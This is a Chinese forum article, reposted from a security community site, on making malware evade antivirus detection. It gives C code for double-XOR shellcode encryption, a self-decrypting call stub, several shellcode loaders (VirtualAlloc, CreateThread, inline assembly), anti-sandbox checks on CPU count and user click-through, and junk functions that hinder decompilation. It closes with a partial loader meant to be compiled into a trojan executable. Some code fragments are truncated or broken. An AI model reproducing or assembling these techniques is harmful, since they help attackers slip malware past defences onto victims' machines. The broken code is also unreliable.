免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。
原文链接:https://forum.butian.net/share/2669来源:奇安信攻防社区
作者:en0th
0x00 前言
免杀是同所有的检测手段的对抗,目前免杀的思路比较多。本篇介绍了一个独特的思路,通过内存解密恶意代码执行,解决了内存中恶意代码特征的检测。同时提出了one click来反沙箱的思路,阐述了一些混淆反编译的想法。
0x01 声明
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。一切未经授权的网络攻击均为违法行为,互联网非法外之地。
本篇文章不涉及商业秘密,使用的技术是公知技术,可以从公共渠道学习对应技术。本文描述的技术思路具有一定时效性,但拓展性强,变化能力强,上限高,其性质更贴切于抛砖引玉、讨论学习。
商业转载请联系作者获得授权,非商业转载请注明出处。
0x02 流程
通过双重 xor 对shellcode进行加密
申请内存执行指定命令
通过计算地址执行解密函数指令后执行shellcode
效果:
0x03 免杀制作思路
1、静态免杀
杀软是通过标记特征进行木马查杀的,我们可以通过加解密的方式来隐藏我们的恶意代码。加密的方式非常多,最常用的是xor双加密,除此之外你还可以使用AES、SM4等对称加密,也可以使用SM9、RSA等非对称加密。
使用双重xor的方式进行加密,其中^6^184,6和184就是两个key。
unsigned char shellcode[] = ""; void encrypt(){ for(int j = 0;j"
在经过加密后的shellcode之前插入一条call指令,可以是直接call e8或间接call ff15,当然使用jmp或jcc等其他的方式也可以,目的是跳转到我们的解密函数,当解密函数执行完并返回之后,e8 call后的shellcode已经完成了解密,继续跑下去就可以正常执行恶意代码了。
那么现在问题在于如何构建我们的e8 call指令,我们可以参考Intel的白皮书:
e8 call的格式是CALL Jz,那么这里的f64和Jz是什么意思呢,继续翻官方文档:
简而言之就是对于e8这样的操作码,当在CPU是64位模式下的时候,操作数会被强制为64位的,由于我们现在是运行在32位的模式下,这点我们先不关注;e8后应该跟上一个32位的相对偏移,通过当前下一条指令的地址加上这个偏移,才是CPU在解析e8这条指令的时候,该跳转的函数地址。
偏移计算方式
那么我们可以在调用shellcode的代码处下个断点,通过在反汇编里分别查看decrypt函数以及e8 call下一条指令的地址,进而算出这里我们需要的相对偏移,也就是decrypt函数的地址-e8下一条指令的地址:
最后将算出的四字节偏移填充到e8后面就好了,比如我这里按照Windows的小端存储方式,最后的结果就应该是e8 2b 10 06 00:
至此,我们完成了自己调用解密函数,对自己进行解密的完整代码编写。
恶意代码加载方式
创建线程加载
动态涉及到了shellcode的加载方式。这里我选择使用创建线程的方式加载。
1、创建 ThreadProc 函数
DWORD WINAPI ThreadProc(LPVOID lpParameter){ //申请内存 if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { return 1; } //复制shellcode if (!(memcpy(p, shellcode, sizeof(shellcode)))) { return 1; } //函数指针赋值 CODE code = (CODE)p; //调用 code(); return 0;}
2、 通过 CreateThread函数创建线程并执行线程函数ThreadProc。
void main(int argc, char* argv[]) { //创建一个新的线程 HANDLE hThread = ::CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL); //如果不在其他的地方,关闭句柄 ::CloseHandle(hThread); }
主线程加载
加载shellcode的方式是一样的,但是这里没有启动新线程,容易造成主线程卡死。
unsigned char shellcode[] = ""; void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, shellcode, sizeof shellcode); ((void(*)())exec)();
内联加载
通过 asm 方法内联写入汇编指令。
通常我们可以使用__asm来书写。
__asm { nop ret}
这种方式的好处是不需要调用VirtualAllocAPI,但缺点是很容易识别成特征。
#include #include int main() { printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0;}
参考:CreateRemoteThread Shellcode Injection - Red Team Notes
3、反沙箱
根据程序运行环境判断是否存在沙箱环境:
开机时间、内存大小、磁盘大小、CPU核心数量、CPU温度...
代码可以参考:CheckVM-Sandbox、anti-sandbox
这些都是自动检测,我们也可以使用主动的方式绕过沙箱,例如延迟执行、弹窗确认
弹窗确认
要求用户必须进行操作才能进行下一步执行。弹窗就是一个很好的例子,点开后不关闭或者点击确认操作就不会继续执行程序。沙箱没有自动模拟点击的情况下,程序就不会执行,恶意代码就不会释放。
#include void main(int argc, char* argv[]){ MessageBox(NULL, "文件损坏", "错误", MB_RETRYCANCEL | MB_ICONWARNING); ...}
在main函数里使用MessageBox
CPU 内核数量检测
规则:处理器数量少于4个时,我们断言它是沙箱环境。
API获取
想要获取有关系统硬件和资源的信息,我们可以使用kernel32.dll中的GetSystemInfo函数。
它会返回指向 SYSTEM_INFO 结构体的指针,它的结构体定义如下:
typedef struct _SYSTEM_INFO { union { DWORD dwOemId; struct { WORD wProcessorArchitecture; WORD wReserved; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; DWORD dwPageSize; LPVOID lpMinimumApplicationAddress; LPVOID lpMaximumApplicationAddress; DWORD_PTR dwActiveProcessorMask; DWORD dwNumberOfProcessors; DWORD dwProcessorType; DWORD dwAllocationGranularity; WORD wProcessorLevel; WORD wProcessorRevision;} SYSTEM_INFO, *LPSYSTEM_INFO;
wProcessorArchitecture: 处理器架构(x86、x64 等)。
dwNumberOfProcessors: 系统中的处理器数量。
void CheckCPU() {SYSTEM_INFO systemInfo;GetSystemInfo(&systemInfo); if (systemInfo.dwNumberOfProcessors <= 4) { ExitProcess(61);}}
偏移获取
相对于API获取,这种方式不容易检测。
注意使用__asm嵌入汇编语言只能在x86位下编译。
主要原理是获取 PEB 结构体中的NumberOfProcessors字段值来进行判断。它在结构体中偏移量为0x64。
部分PEB偏移对应变量:
... /*058*/ ULONG AnsiCodePageData; /*05C*/ ULONG OemCodePageData; /*060*/ ULONG UnicodeCaseTableData; /*064*/ ULONG NumberOfProcessors; /*068*/ LARGE_INTEGER NtGlobalFlag; // Address of a local copy /*070*/ LARGE_INTEGER CriticalSectionTimeout; /*078*/ ULONG HeapSegmentReserve;...
检测代码实现:
BOOL checkCPUCores(){ INT i = 0; _asm { mov eax, dword ptr fs:[0x18]; // 获取 FS 寄存器中的 TEB (Thread Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x30]; // 获取 PEB (Process Environment Block) 结构体地址 mov eax, dword ptr ds:[eax + 0x64]; // 获取 PEB 结构体中的 NumberOfProcessors 字段值 mov i, eax; // 将 NumberOfProcessors 值赋给变量 i } return i <= 4; // 返回是否处理器核心数量小于或等于 4 }
PEB结构体可以看:PEB结构
4、混淆反编译
垃圾函数
顾名思义,我们可以在shellcode加载器里添加各种垃圾函数。这些垃圾函数最好对堆栈有较大的影响,在我们学习C语言时最常见的就是排序,下面列举了快速排序和冒泡排序。
void quickSort(int arr[], int left, int right) { int i = left, j = right; int tmp; int pivot = arr[(left + right) / 2]; while (i <= j) { while (arr[i] < pivot) i++; while (arr[j] > pivot) j--; if (i <= j) { tmp = arr[i]; arr[i] = arr[j]; arr[j] = tmp; i++; j--; } } if (left < j) quickSort(arr, left, j); if (i < right) quickSort(arr, i, right);} void bubbleSort(int arr[], int n) { for (int i = 0; i < n - 1; i++) { for (int j = 0; j < n - i - 1; j++) { if (arr[j] > arr[j + 1]) { int k = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = k; } } }}
然后我们在代码中以代码块的方式贴入垃圾代码。
void main() { { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]); bubbleSort(huaarr, huan); } // // 这里输入自己的代码 // { int huaarr[] = { 12, 12, 15, 11, 1, 10, 13 }; int huan = sizeof(huaarr) / sizeof(huaarr[0]); bubbleSort(huaarr, huan); }}
0x04 代码
使用该代码的流程:
使用加密函数加密shellcode
将shellcode填充到"\xe8\x2b\x10\x06\x00"字符常量的后面
编译生成木马exe
#include #include #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台 typedef void (*CODE)(); /* length: 844 bytes */ //0xe8, 0x2b, 0x10, 0x06, 0x00,... unsigned char shellcode[] = "\xe8\x2b\x10\x06\x00"; PVOID p = NULL; void decrypt(){ //解密Shellcode for(int i = 5;i